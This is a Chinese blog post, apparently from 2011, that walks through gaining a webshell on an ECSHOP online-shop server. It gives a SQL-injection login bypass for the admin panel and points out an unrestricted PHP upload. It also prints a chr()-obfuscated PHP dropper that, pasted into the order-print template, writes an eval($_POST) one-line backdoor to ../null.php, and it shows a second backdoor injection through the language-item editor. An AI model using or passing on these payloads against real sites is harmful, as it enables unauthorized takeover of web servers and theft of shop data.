linux系統ecshop拿shell方法

Title:linux系統ecshop拿shell方法  --2011-06-08 13:23php

最近弄一個站,對ECSHOP拿shell不瞭解,致使走了不少的彎路。linux

nginx/0.8.54的服務器,magic_quotes_gpc開啓轉義,不少的頁面被刪除了。nginx

後臺有or漏洞,用戶"' or 1=1 #"密碼隨便填.shell

開始我也不知道,瞭解得少。服務器

網站的myship.php訪問無果,可是庫項目管理模版能夠編輯,找不到文件路徑未果,由於用的是nginx/0.8.54,解析漏洞被修補。post

不少拿shell的方法不能用,好比備份x.php.spl,FCK建立X.asp類文件夾。網站

開始在後臺轉了好久,一直沒有點Flash 播放器管理 上次PHP試試,後面沒有想到能夠上傳PHP的文件,沒有限制。3d

 

後面再上網找了下其餘的方法。blog

後臺-訂單管理-訂單打印-選擇源代碼編輯-保存
返回訂單列表,隨意選擇一個訂單打印,返回OK,生成一句話成功!
如下是編輯的代碼:ip

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

<?
$filen=chr(46).chr(46).chr(47).chr(110).chr(117).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112);
$filec=chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(117).chr(115).chr(98).chr(93).chr(41).chr(59).chr(63).chr(62);
$a=chr(119);
$fp=@fopen($filen,$a);
$msg=@fwrite($fp,$filec);
if($msg) echo chr(79).chr(75).chr(33);
@fclose($fp);
?>

----------------------------------------------------------------------------------------------------------------------------------------------------------------------------

../null.php

<?php eval($_post[usb]);?>

這個是路徑和密碼。

我還有個想法就是'單引號沒有被轉義的時候,管理中心- 語言項編輯 編輯其中的PHP頁面,閉合單引號.

shopping_flow.php 編輯

輸入語言項關鍵字:  活動列表

活動列表';?><?php @eval($_POST[ok]);?><?'ok

保存

而後訪問

http://site/languages/zh_cn/shopping_flow.php

由於試的時候'被轉義不能閉合活動列表後面的單引號,因此沒成功。

誰有其餘方法,能夠一塊兒討論下。

相關文章
相關標籤/搜索